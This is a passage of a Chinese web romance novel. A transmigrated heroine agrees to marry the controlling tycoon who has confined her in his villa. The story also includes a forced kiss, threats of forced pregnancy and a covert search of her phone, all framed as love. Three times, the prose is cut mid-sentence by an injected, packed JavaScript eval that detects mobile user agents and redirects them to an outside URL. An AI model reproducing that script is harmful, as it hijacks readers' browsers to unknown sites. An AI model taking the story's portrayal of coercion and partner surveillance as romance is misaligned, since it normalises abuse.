僵持中,王婶壮着胆子道:“插花需要合理搭配才能变得更加赏心悦目,这里只有向日葵,还缺一些其他花材。要不,我先联系花艺师,等材料都备好了,再让林小姐开始?现在,晚餐已经好了,先生可以和林小姐先用餐。” “下去,”季时深没接王婶的话茬,相反,欺身而进,从王婶手中拿过花束径直递向林鹿。 林鹿瞬间进退两难,接也不是,不接也不是。她要收回之前对季时深的评价,他真的一点也不好说话。 良久,也或许是须臾,林鹿抬眸正视着季时深,问道:“非得现在吗?” 季时深点头。 “那你陪我一起。” 说这话时,林鹿其实已经做好了被拒绝的准备。 在她看来,季时深这样的霸总是不可能把时间耗费在插花这类小事上。之所以这么要求,除了某种程度上的故意针对,也是想让季时深主动退一步,这样她就可以跟着顺势回绝。 只是,林鹿的判断力用在季时深身上,似乎总是出意外。 下一刻,就见季时深没有犹豫地一口应道:“好。” 林鹿瞪大眼,震惊地看着季时深,一时竟忘了反应。但话已经说出口,自然不能让它落空,眨了眨眼道:“那你去拿剪刀、花瓶、水过来。” 季时深错愕了几秒,在林鹿以为他要反悔时,又点了点头,有些憨憨地转身。 清醒点! 林鹿狠狠甩甩头,这一定是错觉、错觉!她怎么会觉得季时深憨?他要是憨,这世界就没精明人了,真脑壳给气坏嘚。 趁着季时深不在,林鹿搜了几个插花教学视频,看着……好像挺简单,没什么难度的样子。 事实—— “这个会不会剪得太短了?” “整体造型选扇形还是三角形?扇形的吧,花有点多。” “呃,好丑,太拥挤了,还是重新再插。这次试试三角形的,季时深,你再拿几个小一号的花瓶来。” “螺旋式插入,嗯,应该就是这样。” “这枝太长了,再短点,要显得彼此错落有致才好看。” 前后忙碌大半个小时,终于勉勉强强插好。 看着似模似样的成品,林鹿生出点点自豪,先前的那抹负面情绪也在不知不觉中消失殆尽,甚至还有心情向季时深炫耀。 “这是我第一次正经插花呢,没想到我在这方面还挺有天赋的,季时深,你要不要夸夸我呀,”边说着,林鹿边手托下巴转着圈欣赏。 看着看着,突然又忍不住想精益求精:“只有向日葵,是不是有些单调?季时深,我记得院子里有一小片桔梗花圃,现在正在花期,你去剪一些回来点缀。” 下意识地迈出两步后,季时深回头,发出邀请:“一起?” 林鹿歪了歪头,和季时深视线相撞,笑着跟上。 此刻,天已经全黑,但有月光和灯光的双层加持,倒也不影响走路。 可能是晚风太暖,也可能是月光太柔,林鹿忍不住打开话匣,好奇地问向一旁的季时深:“你在公司也这么独断专行,什么都必须按照你的想法来吗?现在早就流行接地气、亲和路线了,你这样的会被下面人蛐蛐,影响公司凝聚力的。” 季时深轻笑出声,侧头看了眼林鹿,摇摇头,什么都没说,但又什么都说了。 “喂,季时深,你什么意思?别以为天黑我就看不见,你刚刚是在嘲笑我,是吧?”像被踩了尾巴的猫,林鹿扯住季时深的手臂,试图讨要说法。 反握着林鹿的手,季时深心情很好地解释:“我是老板,他们是员工,只要完成本职工作,我随意他们怎么想。至于凝聚力,季氏的福利待遇、晋升渠道一直是业内翘楚,要是这样还不满意,那我也不用留,自有更适合的人替代。” 似乎、好像挺有道理的,林鹿很轻易地被说服。 等一下,她要说的是这个吗? 懊恼一分钟,林鹿也不会拐弯抹角,直接将话往透里讲:“公是公、私是私,你在外面怎么样我不管,但私下我不喜欢你这样,我希望你能尊重下我的想法。你都不知道你冷着脸、沉着声音的时候有多吓人。” “可是之前在电影院,你不是说过我也有任性的权利,无论提的要求多无理、为难,你都会一口应下吗?还是说,那些话只是说着玩儿的,根本当不得真。” “这、这……”该死,又被绕了进去。 良久,林鹿才找到反驳的点,顿时理直气壮地挡在季时深面前:“我还说过你的权利次数不能超过我呢,这个你怎么就不记得了?我都没行使特权,你就抢先上,哼。” 季时深忍不住又笑出声,轻轻拨开林鹿,继续向前。 “又笑!不许笑了,你都笑了多少次,再笑我就咬你,真咬啊。”泄愤地跺跺脚,林鹿追上,抓住季时深的手就威胁性地咬上。 季时深丝毫不怕,甚至,还饶有兴致地停下脚步、递上手,方便林鹿去咬。 见此,林鹿特意加重了些力道,但季时深依旧纹丝不动,只静静地看着她。到后面,林鹿自己先无趣地松开了嘴,困 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718753|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑道:“你就真不怕我咬疼你?” 季时深答非所问:“小鹿是食草的,真哪天学会食肉了,那也是我纵容的,我接受一切后果。” 林鹿没听懂,但不等她琢磨,季时深就转移了话题:“不是要剪些桔梗吗?还不快点,再磨蹭下去,晚饭都不用吃了。” “那怪谁?还不是怪你,我都说了吃完饭再弄,就你非得立即马上。真搞不懂你是怎么想的,明明我的才是最优选择。” 季时深没多做解释,只是道:“这不是小事。” “嗯?”林鹿又没听懂,挠挠头,略显烦躁地抱怨:“你说话能不能不要没头没尾的,整得我跟个白痴似的,动不动就听不明白。咱一个屋檐下,是要一起生活的,得讲究有效沟通才行,越简白越好。” 季时深顿住,看向林鹿,许久才开口道:“这是你第一次送我礼物,也是我第一次收到花,我觉得它很重要,重要的事就要优先做。” 许是很少这般袒露心声,季时深的声音有些沙哑。说完,更是牢牢地盯着林鹿,不放过一丝微表情。 林鹿…… 本来气就已经消了,现在听到季时深这么说,林鹿竟生出一点点感动来。 她真的脑壳坏了。一定是这几天疯狂追短剧把脑子给追坏的,可心里的那抹感觉却又丝毫做不了假。 慌乱中,林鹿只想逃跑。 跑了几步,又停下。想了想,林鹿走近季时深,认真道:“谢谢你这么重视我送的花,我很荣幸,以后会争取送你更多礼物的。另外,也谢谢你送我镯子,我会好好珍惜的。” 昏暗光线下,看不清林鹿眼中的色彩,但季时深想,它一定是真诚又纯粹的,就像初见时阳光下的她,很温暖。 忍不住再次牵住林鹿的手。 大手握着小手,尺寸那般恰好,让季时深不知觉地想要沉溺。 林鹿这次没挣扎。当然,在季时深的强势下,就算林鹿想挣扎也多是徒劳。看了眼交握在一起的手,林鹿跟着季时深慢慢向花圃走去。 路灯下,白色的桔梗花带着丝朦胧美,林鹿习惯性地凑近嗅了嗅,没什么明显的香味。打开手机电筒,林鹿拿过季时深手中的剪刀,叮嘱道:“你帮我照着点,我来剪。” 季时深没接手机,而是卷起袖子、拿过剪刀、蹲下身子,挑起一枝桔梗问道:“这根可以吗?” 林鹿愣了几秒,忙打着光凑前看:“花好像有点太开了,换一个,这个怎么样?嗯,就这个吧,你剪长一点哈。” 两人你在前面挑,我在后面剪,气氛难得的温馨美好。 突然,林鹿嘶了声,啪地一下打在手臂:“有蚊子!臭蚊子,竟然咬我,季时深,快点,我觉得有大批蚊子飞过来了。” 话刚说完,小腿就应景地传来刺痒,林鹿一边弯身挠,一边好奇地问向季时深,“都没蚊子咬你吗?该不会连这些蚊子都搞双标,捡软柿子咬吧。” 季时深被逗笑,看着林鹿忿忿不平的脸,无奈地如实道:“也咬了。”桔梗喜湿,本就易招蚊虫,他靠这么近,自然少不了被关照。 “啊,那你还这么淡定,都不痒吗?”林鹿惊讶了。 “痒啊,但还能忍受。” “牛,你真牛,这个都忍着,”林鹿竖起大拇指,跟着,怂恿道,“其实可以抓一抓的,虽然不能止痒,但会舒服许多,你要不要试试?” 林鹿满眼期待,她绝不承认只是恶趣味地想要看季时深挠痒痒的画面。 “你确定,我们要在这里,继续讨论这个话题,”停下手里的动作,季时深抬头凝视着林鹿。 “哦哦,”小心思似被看穿,林鹿瞬间老实下来,扫了眼众多桔梗道,“剪这根,这根可以的,嗯,还有那一根,也行的。” 5. 领证 “哈哈,太好看了,我真是个花艺小天才。手机呢,季时深,你看见我手机了吗,我要拍照发朋友圈。”看着最终成品,林鹿兴奋得无以言表。 虽然不懂怎么会有人情绪这么容易被调动,但看着林鹿脸上灿烂的笑,季时深不知觉地翘了翘嘴角。 从包装纸下抽出手机递过去,季时深靠在沙发上,静静地看着林鹿一通咔嚓。从单独的花照到人花合照,林鹿的兴致一直很高涨,拍了一张又一张。 季时深突然想起微信聊天框里的图片,那时,她是不是也这般高兴地定格、拍摄、再分享给他? 陌生的情潮在心脏涌动,这种感觉很陌生,但又一点也不排斥,甚至,还有点欢喜。 眼角余光瞥到季时深在走神,林鹿想了想,摇手喊道:“季时深,你要不要也过来拍几张?这里面也有你的功劳呢。” 季时深愣了愣。他不是一个喜欢拍照的人,就连集团活动、商业访谈都尽可能地避免出现在镜头下,但此刻,拒绝的话绕在唇边却愣是说不出去。 久没等到回答,深谙季时深傲娇属性的林鹿直接当他同意了。小跑过去,摇着季时深手臂道:“来嘛来嘛,花这么美,你这么好看,不拍几张多可惜。而且,这也是你第一次参与插花吧,多有纪念意义。” 摇得明明是手臂,但季时深觉得脑子也跟着迷糊起来,伸手抵住林鹿额头将人推远了点,季时深故意板着脸道:“一个多星期没见,你这胆子是越来越大了啊。” “呃……”林鹿词噎,眨巴眨巴眼,特乖巧无辜道:“哪有?肯定是错觉,我胆子可小可小了,禁不住吓的。” 说完,双手拖着下巴,卖萌地看着季时深。 可能是见色起意,也可能是接触得多了,林鹿自己也意识到她对季时深的戒备在一点点降低。潜意识里似乎渐渐认定他只是外冷内热,并不会真的对她怎样。 这是一个很危险的信号。理智上知道要警醒,但情感上又想顺其自然。至少,目前还一切良好,并没发生什么不能忍受的事。 “装也不知道装像点,”季时深撇过眼,嘴角却带着抹不去的笑意。站起身,无奈道,“不是说要拍照吗,还不快点。” “哦哦,”抛下刚起的小心事,林鹿又开开心心涌入拍照大业中。 不仅拍了季时深和花的合照,还夹带私货地拍了不少其他个人照,到后面更是自己也加入镜头中。 “笑一个,嗯,头在歪点,要不要再比个手势,对对,就这样,非常好……” 季时深全程纵容,林鹿怎么说,他就怎么做,没有丝毫的不耐烦。直到林鹿肚子发出咕咕抗议声,两人才停了下来。 饭后,林鹿双腿盘坐在沙发上,捧着手机,认真地选图、P图,忙得不可开交。 季时深站在旁边,等了一会又一会,终于忍不住地上前,一把抽出林鹿手里的手机。 “喂,你干嘛?”林鹿愣了下,不满地瞪着季时深,起身就想拿回手机。只是,近二十厘米的身高差,再加上季时深有意为之,愣是让林鹿上蹿下跳也够不着。 随着两人身体不断触碰,季时深突然呼吸加重,眼神也带着明明灭灭的火光。他从不是个委屈自己的人,当下就手比脑快地紧紧搂住林鹿、按进怀里。 林鹿虽懵了下,但反应并没初见时那么大,就静静地靠在季时深怀里,直到感觉季时深身体没那么僵硬了,才轻轻推开:“想看照片我等下发你就是了,还抢手机,这么大人了你幼稚不幼稚。” 季时深松开手臂,但并没有放开林鹿,而是握着其肩膀道:“不是有重要的事要和我商量吗,现在可以说了吧。” “啊,”林鹿挑大眼,懊恼地拍了拍额头,“瞧我这脑子,都快给整忘了。” 末了,也顾不上拿回手机,扯着季时深就要上楼,“去书房,我们到书房说。” 季时深满意了,轻笑后,顺着林鹿的动作可有可无地跟上。 书房内。 两人相对而坐,气氛被林鹿单方面营造得似模似样的严肃。虽然早在心里模拟了好几遍,也预想了各种应对措施,但真到开口时,林鹿还是止不住地紧张。 季时深微起身,贴心地倒了杯水。 握着水杯,林鹿的紧张感稍微下去了些。斟酌了会措辞后,说出口的话依旧很直白:“季时深,我们领证吧。” “咳咳——”季时深被惊得呛到,瞪大眼,不可思议地看着林鹿。 “你知道你在说什么吗?”伸手贴了贴林鹿额头,也没发烧呀,怎么说起了胡话。 林鹿本来没觉得什么,但被季时深这么一弄,倒真觉得自己说了什么惊世骇俗的话。可话已经说出口,自然不能再收回,林鹿严肃着脸,很认真地再说一遍:“我知道,我很清醒,所以,季时深,你要和我领证吗?” “你确定?”收起脸上的惊讶,季时深盯着林鹿的眼睛,严肃问道。 “非常确定!”坚定地回视着季时深,林鹿用力点头。 季时深突然笑了,是那种非常危险的笑。 “我这个人很强势,占有欲也很大,和我领证,你这一辈子就只能是我的人。你的身,你的心都只属于我,生是,死是,永远也逃不掉。还有,我不搞有名无实、柏拉图那一套,我要的是能陪我上床过日子的。” 林鹿被后半句说得面红耳赤,不知觉地看了眼季时深,又很快移开视线。 低着头,沉默了半响后,林鹿抬头看向季时深,问道:“那现在我能逃得掉吗?你愿意放我离开?” 季时深没说话,微眯着眼睛,似看猎物般地看着林鹿。 顿时,一股令人头皮发麻的渗人感觉萦绕全身。林鹿害怕地掐着双手,看了会放在办公桌一角的向日葵,才鼓起勇气继续道:“既然结果都一样,那我为什么不化被动为主动,占据有利位置。” “领了证,我们就是法律承认的合法关系,休戚与共、一荣俱荣一损俱损。哪天你想始乱终弃、另寻新欢也不是一点损失都没的。还有你的爱慕者们找上门来,我也能站在道德制高点上,名正言顺地把人教训回去。” 剧情里,原主因为金丝雀身份,明里暗里不知被多少人轻视、针对、找茬,林鹿才不想凭白遭这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718754|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪呢。光脚不怕穿鞋的,她本就一无所有,又被季时深盯上,那领证结婚于她可以说是百利而无一害。 没有想象中被冒犯的不悦,季时深前倾着上半身凑近。捏着林鹿下巴,没用力,只是迫其视线与他正视:“小鹿这是要长出獠牙了啊,我真是越来越期待了。” 林鹿分辨不出这话的真实态度,是赞赏抑或是讽刺。掰开季时深的手,只固执地寻一个答案:“那你愿意和我领证吗?” 两人地位悬殊,若季时深不愿,林鹿也没法子。但至少,在这场强制游戏中,她为自己努力争取了。 “乐意至极,季太太,”说到后面三个字时,季时深放缓了语调,指背暧昧地抚了抚林鹿的脸颊,“希望你能承受住我的爱,永远不会后悔。” “那你是不是对自己太没信心了?只要你不出轨、不家暴,真的对我好,我就没什么可后悔的。而且,这个时候,你不是应该霸气地宣布永远不会让我有后悔的可能吗?” 季时深被逗笑,忍不住捏了捏林鹿的唇,“好,我不会让你后悔的,明天九点,我们一起去民政局,领证。” “明天?明天不行,”林鹿摇头拒绝。 脸上的笑瞬间消失,季时深看着林鹿,声音沉得滴水:“不行?呵,你刚刚说的都是在玩我吗?我给你一个机会,解释,现在就解释!” 林鹿被季时深突然转变的态度整懵,愣了会,才后知后觉对方是误会了,忙解释道:“领证就相当于结婚,这是一件很庄重的事,不仅涉及你我,还关联我们背后的家庭。不管长辈们是什么态度,我们都至少得提前告知一声。” “明天周五,我爸妈得上班,可能没空。等周六,周六我带你先见见我爸妈,周日,再见见你家里人。这样不出意外的话,周一民政局上班,我们就去领证。” 剧情里,原主父母都是疼孩子的好父母,林鹿穿来这些天也一直断断续续有联系。虽然目前还不能报之同样的情感,但基础的尊重还是要有的。而且,冥冥中承了原主的情,那她就一定会好好照顾、孝顺原主的家人。 怒气来得快去得也快,季时深点点头,同意林鹿的安排。 “是我考虑不周,那周六就按你说的,一起见见你的家人。至于我这边,就算了,我的事不用特意通知他们。” 林鹿下意识看向季时深的眼睛。 虽然书中没有具体描述季时深和家人的相处细节,但从偶尔的只言片语可以看出季时深的童年、甚至少年时期都过得非常不好。 他是私生子,因其母死亡才被接回季家抚养,曾一度被季家人及圈里其他人排斥、欺压。更有传言,季时深是通过不正当手段逼走其父、接管季氏,成为季家的掌权人。虽不知真假,但传言能成为传言,彼此关系可见一斑。 “我不知道你和你家里人发生过什么,但作为小辈,我觉得婚姻大事还是要说一声的。当然,一切以你为准,你要真的不想,我尊重你。”说完,林鹿犹豫了下,还是安慰性地握住季时深放在桌面的手。 定定地看着林鹿的手,季时深点点头:“嗯,我会好好考虑的。” 6. 适应 该说的都说得差不多了,林鹿指指门:“那你忙,我先出去啦。” 看着林鹿离开的背影,季时深静等了一会才拨通别墅内线,让章进、王霞到书房一趟。 两人速度很快,不过几分钟,就恭敬地敲门进入。等两人近前,季时深开门见山地问道:“这段时间,林鹿有什么异常?” 章进和王霞对视了一眼,最后由和林鹿接触得更多的王霞统一回道:“除了一日三餐,林小姐大部分时间不是在房间,就是在后院走动,并没什么异常。” “没有闹着出门,或联系其他人?”季时深皱眉,手指敲了敲桌面,继续问道。 “没有,林小姐态度很好,情绪也很稳定,好像并不排斥呆在别墅。至于联系其他人,面上都是正常往来,也没发现有陌生人在别墅周围徘徊。” “先生,是林小姐有问题吗?要不要我安排人近身跟着林小姐?”章进问道。 “不用,就是觉得这次见面,林鹿变化很大,有些奇怪而已。” 王霞脸上浮出笑容,十分自信道:“那肯定是林小姐想通了。” “先生条件这么好,哪个女人不心动,更别说,先生还这么在乎林小姐。林小姐肯定是意识到了先生的好,想要和先生长久走下去,才转变这么大的。” “是吗?”想到林鹿确实提出了领证,季时深疑心稍微降低,但潜意识里总觉得不安,仿佛有道声音一直在叫嚣假的、假的…… 早在认定是林鹿时,季时深就做了全方位背调,对其不说十分了解,七八分肯定是有的。明明之前还排斥他的靠近,也厌恶他将她关在别墅,怎么出个差的功夫,性情、态度就大变样了? 这真的不是伪装?或者有人背后指使? 见从章进、王霞这里问不出什么,季时深摆摆手,让人先下去。 翻看了会文件,又回复了几封邮件,心绪还静不下来,季时深起身,准备找林鹿亲自问个明白。 “咚-咚——” 刚洗完澡,从浴室出来就听到敲门声。 林鹿皱眉,这个点应该没人找她的,难道是季时深?想了想,还是整理了下睡衣,开门。 “你……” 视线落在林鹿被蒸气熏得红晕的脸颊以及两侧沾了水的湿发,季时深大脑一片宕机,只剩下喉结不知觉地滑动两下。 想也没想,季时深抱着林鹿挪移几步,跟着,用脚带上门,一个旋转将人抵在门后。怕林鹿反抗,更是第一时间单手扣住林鹿的双手举过头顶,大腿也狠狠压住林鹿的双腿。 与此同时,另一只手抬起林鹿的下巴,俯身密集地吻上去。 和他的人一样,季时深的吻野蛮、凶狠、毫无章法。 林鹿瞪大眼,并没想象中的惊讶,相反,有一种尘埃落定的它来了、它终于来了的既视。甚至,大脑还在浮想联翩,想到短剧下的经典评论——按住她、强吻她、告诉她苦果亦是果。 “在想什么?”觉察到林鹿的走神,季时深用了些力道恶意地咬住林鹿的唇。 “疼,”林鹿本能地撇过头,想要推开季时深,“你是属狗的吗,动不动就咬人。” 季时深没有松开林鹿,依旧维持着亲密的姿势,追问道:“刚刚在想什么?” 声音有些沉,是生气前的征兆之一。 林鹿不好意思说实话,但季时深又不是好糊弄的主,心里一急,脱口就道:“想你吻技好烂,一点都不享受。” 话说完,林鹿才反应她究竟说了什么。顿时,闭着眼,尴尬得恨不得抠条地缝钻进去。 而比林鹿更不自在的是季时深。 生气、不服、沮丧、困惑……各种情绪轮番上场,季时深的脸色也变来变去,原本躁动的身体更是一点点沉寂。 林鹿等了一会,没等到季时深有所动作,悄咪咪睁眼,就见对方失神地杵在原地。 难道是她话说得太重、受打击了?想到男人在某些方面的要强,林鹿有些小愧疚,试图着描补。 “我很高兴你吻技差。这说明你是新手,还没有吻女孩子的经验,我可不希望你把从别人那学到的经验用在我身上。” 虽然不会因为一句话就产生阴影,但林鹿的解释还是让季时深很受用,心情也明显好上不少。 “我只对你这样,除了你,没有其他人,也不会有其他人,”顿了下,季时深看向林鹿,“你呢,这里被其他人碰过吗?” 他知道林鹿有个暗恋多年的白月光,也正是因为收到消息说对方要公开向林鹿表白,才放弃徐徐图之的打算,直接将林鹿带回别墅,囚禁了起来。 想到两人私底下可能有过牵手、接吻、甚至更亲密的触碰,季时深捏紧拳头,冷气不要钱地往外冒,嫉妒、愤恨、委屈等等滋味更是如蛆附骨般爬上心头。 觉察到季时深急转而下的情绪,林鹿担心地问道:“你怎么了?” 季时深不答反问:“回答我,和其他人吻过吗?” 这是占有欲又发作了? 林鹿翻了个白眼,但又不得不赶紧安抚:“没有,你是第一个,也会是最后一个。” 原主和暗恋对象刚互表心意就被季时深强迫带进别墅,别说接吻了,就是手都没正式牵过几次。这也是原主怨恨季时深,一心想逃离的主要原因。 至于林鹿自己,她自小就身体不好,药都能当饭吃,好好活着就是最大的期盼,哪还奢想其他。 穿越成原主,林鹿是真心高兴且感激的。身体健健康康,能跑能跳;物质更是富裕,不用为钱财操劳担忧。虽然有季时深这个定时炸弹在旁环绕,但万事不能十全十美,况且这大半天接触下来,对方也是能好好相处的。 唯一遗憾的是再也见不到爸妈和哥哥了。不过,少了她这个拖累,他们的日子应该会轻松许多吧,挺好的,真挺好的。 “我们马上就是夫妻,你属于我,这辈子只能属于我,身和心都是,知道吗?”听到满意的答案,季时深一秒转晴,但仍不忘警告。 或许,被偏爱的就是有恃无恐。 看着季时深一本正经地强调,林鹿突然一点也不觉得害怕,甚至还想笑,最后也真的笑了。 “你……”季时深懵了,看着林鹿,一时竟有些词穷。 林鹿脸上的笑容更大,莫名地就有些好奇:“季时深,要是我和其他男人接过吻,甚至上过床,你会怎样?” “你敢?”季时深又瞬间破防,恶狠狠地盯着林鹿。 若是眼神能杀人,林鹿觉得她应该在被凌迟。没有躲避,林鹿回视着季时深的眼睛,继续道:“你会嫌弃我?还是不要我?” “休想!我会关着你,强迫你,让你怀孕,一个孩子不行,就两个、三个……直到彻底绑住你,你的身、你的心永远离不开我和孩子为止。” “季时深,你知道你现在这样像什么吗?真的很像很像强制文里的变态男主,”伸出双手,林鹿抱了抱季时深,“你放心,不会有这一天的,我们会好好的,会稳稳地幸福。” 紧张的气氛再次因林鹿一句话而抚平,季时深回抱着林鹿,手臂不自觉箍紧,似在确定这一切都是真实的。 良久,季时深才开口:“为什么?为什么突然转变这么大?你之前不是很排斥我,一心想离开吗?” “你在纠结这个?我不是说了吗,如果结果不能改变,那我就改变过程,我很现实的,不想没苦硬吃。” “那……”犹豫了几秒,季时深还是艰难地吐出那三个字,“邵明修呢,你要……放弃他选择我?” 邵明修就是原主的暗恋对象。两人高中同桌,大学同校,勉强算得上青梅竹马,若没有季时深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718755|173850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的横刀夺爱,应该是很幸福的一对。 书中,邵明修几次想要带着林鹿逃离,但都败于季时深的势力之下,后来更是成为季时深威胁林鹿妥协的手段之一。直到大结局、番外,邵明修都没有走出这段无疾而终的恋情,孑然一身。 感叹了一声世事无常,林鹿摇摇头,捧着季时深的脸道:“不是我要放弃他,而是你要把他从我心里赶走。所以,季时深,你要好好表现哦,我期待你把我的心装满的那一天。” 三个人的爱恨纠缠太伤! 没有她的当断不断,季时深应该会更有安全感,邵明修也应该会很快走出来,对他们都好。 “你真的准备试着接受我?”季时深明显很激动,声音都透着一丝颤抖。 林鹿有些心软,笑着点点头:“我不会拿婚姻开玩笑的。是经过深思熟虑后,真的决定要和你在一起才提领证的。强扭的瓜不甜,我不喜欢吃苦的,季时深,我们一起努力,种一个属于我们的甜瓜,都甜甜的。” “好。”季时深抱住林鹿,忍不住又吻了上去。 虽然吻技依旧很生涩,但比起先前的野蛮、凶狠,这一次多了柔情和缱绻,林鹿不知觉沉溺其中。直到被推倒在床上,失重感袭来才让她清醒,跟着条件反射地推开季时深。 林鹿脸爆红,坐起身,慌乱地整理着衣服。男色误人,对,一定是男色误人,她才这么有伤风化的。 季时深错愕了一下,跟着顺势翻身躺倒在床上。歪着头,带着惬意和失落看向林鹿:“你刚刚回应了。你也喜欢我吻你是不是?你微闭眼睛的样子好像是在享受,很迷人。” “季时深!”林鹿瞪大眼,这下不仅脸红了,耳朵、脖子、锁骨通通红成一片。恼羞成怒地爬上床,扑向季时深,想要捂住他的嘴。 季时深随意地伸出手便控制住林鹿,对视了一眼,在林鹿要开口前一把将人按入怀中。 “我说了,我不搞有名无实那一套,我的妻子是能上床睡觉的。你之前可是亲口答应了,怎么,现在想反悔?晚了!” 林鹿挣扎着想要起来,结果不仅没挣脱,还惹得季时深呼吸越来越重。反应过来是怎么回事后,林鹿瞬间不敢动了,伏在季时深胸前闷闷道:“那也是领证后,我们现在还没领证呢,你不能那样。” “还有三天,三天后我们就领证,你不打算提前熟悉熟悉我,不,是熟悉我的身体?我可不想新婚之夜在床上只有我一个人动,夫妻之间的事自然得夫妻一起才更快乐,对吧?” “季时深,”林鹿抬起头,“你什么时候变得这么污?脸皮是城墙做的吗,这样都不带红的。” 季时深浅笑,用力揉了把林鹿的头发,认真道:“今晚搬到我那睡,我们确实该提前适应下彼此的存在。你放心,没有你的允许,在领证前我绝不会碰你。” 言外之意,领证后,不管她愿不愿意,他都会碰她的。虽然早有心理准备,但真的听到季时深这么说,林鹿还是有些心理障碍。 三天,还有三天,他们就要做最亲密的事了,或许…… 没等到林鹿回复,季时深脸上的柔情快速散去,冷硬道:“要么你搬到我房间,要么我搬到你房间,只能……” 想通之后,林鹿不再犹豫,坚定道:“好!” “你刚说什么?好?你这是同意了?”季时深惊喜,放开林鹿,站起身,“你先过去,我让人来收拾行李。” “这么晚就别麻烦了,明天收拾也是一样的。”林鹿拉住季时深。 季时深拍了拍林鹿的手道:“这有什么可麻烦的,我出那么高的工资,就是买她们二十四小时随时待命。这是她们本职工作,哪天我不需要了,她们才是真的麻烦。” 说完,季时深就拨通内线,命令下去。与此同时,林鹿也跟着季时深,正式入住他的房间。 7. 拜访 “你先睡,我去处理会公务,很快就回来,”见林鹿一直低着头,季时深主动开口,转身之际,想了想又道,“你放心,我说了领证之前不会碰你就真的不会碰你,这点子诚信我还是有的。” 林鹿抿抿唇,抬起头:“谢谢,你也别忙得太晚,早点回来。” 季时深点头,神情愉悦地想要伸手揉揉林鹿的头发。 林鹿有些不适应这突然的亲近,下意识想躲,但很快又反应过来,握住季时深悬空的手,放在头上蹭了蹭:“好了,去忙吧。” “真乖,”眼里降下的温度再次回升,季时深上前几步,掀开被子,等林鹿躺好,帮忙盖上后才离开。 咯吱—— 听到关门山,林鹿一把扯过被子蒙住头,来回滚了好几圈才停下。这大半天真过得比她这二十多年还要刺激。 想到和季时深的几次亲密接触,更想到即将到来的见家长、领证,林鹿小脸发烫,内心啊啊尖叫一片,有忐忑、有不安,但更多是对未来的期待。 她要成家了!要和书里的人物成家了! 哪怕林鹿从小就喜欢幻想,也没幻想过这么无厘头的一幕。不知道爸妈、哥哥知道她要成家会是什么表情,应该很高兴、很欣慰吧。 放心,不管在哪里,她都会好好过好每一天,让自己幸福的! 这一刻,林鹿脑子非常活跃,想这个,想那个。 电石火花间,又想到季时深会随时回来。林鹿心一咯噔,这要是在他回来之前还没睡着,那多尴尬。 顿时,再也不敢继续瞎想了,林鹿老老实实地躺好、闭眼、数羊。 一只、两只、三只…… 书房内,远离了林鹿的季时深渐渐恢复惯常的冷冽,而随着一份份文件处理下来,之前缓解尴尬的敷衍之词也成了事实。 时钟滴滴答答,皎月也渐渐偏斜。 等季时深揉着鼻梁缓解疲劳时,已经快十二点了,距离他离开也已经两个多小时,林鹿应该睡着了吧。 季时深起身,想到马上就要和林鹿同床共枕,蓦地有些激动,连走路的步伐都不知觉加快。 等进了房间,季时深第一时间就来到床前,确定林鹿真的睡着后,俯下身亲了亲额头。 起身时,看见放在床头柜的手机,季时深眼神幽深了一瞬。几秒后,季时深拿起手机出门房间。 十多分钟后,原本已经休息的曹青出现在季时深的书房。 “查查里面数据,看最近都和哪些人联系,聊了什么,还有浏览了什么,速度快点。”季时深言简意赅地命令。 粉色的手机?这是林小姐的手机?先生这是…… 曹青看了眼季时深,见其没有其他要说的,也不多问,利落地接过手机,找了个位置坐下,开始工作。 趁着这个时间,季时深简单地冲个澡,又继续翻看起文件。 不愧是季时深得力干将之一,不过一个多小时,林鹿这些天的网上行踪就被掌握得清清楚楚。 “林小姐这段时间最频繁联系的人是你,其次是林小姐父母,之后有一些同学和朋友,都是日常聊天。” “邵明修呢?和邵明修联系过吗?”季时深问道。 曹青迟疑了下,忍不住看了眼季时深才回道:“林小姐没主动联系过邵明修,但邵明修主动找过林小姐几次,林小姐的回复都很简短,客气有余亲近不足那种。具体对话也没有删除的痕迹,我全部发到邮箱了。” 林鹿的背调就是曹青经手的,自然也就知道林鹿和邵明修的关系。听到季时深要查手机时,曹青重点的关注就在这上面。 “嗯,”季时深点点头,示意曹青继续说。 “我发现林小姐最近对病娇、疯批、偏执、强制爱,这些词汇特别关注,不仅搜索了许多相关词条,连追的小说和短剧也都是这方面的。具体的书单和短剧名单,按照观看比率,从高到低我都整理出来,发到邮箱了。” 说到这里,曹青忍不住加入自己的猜测:“我怀疑林小姐这次变化这么大,是受到这些书和短剧的影响,林小姐应该是真的想和先生在一起吧。” “嗯,”手指敲击了几下桌面,季时深点点头,从曹青手里接过手机,“这段时间辛苦了,接下来给你三天假期,好好休息休息。” 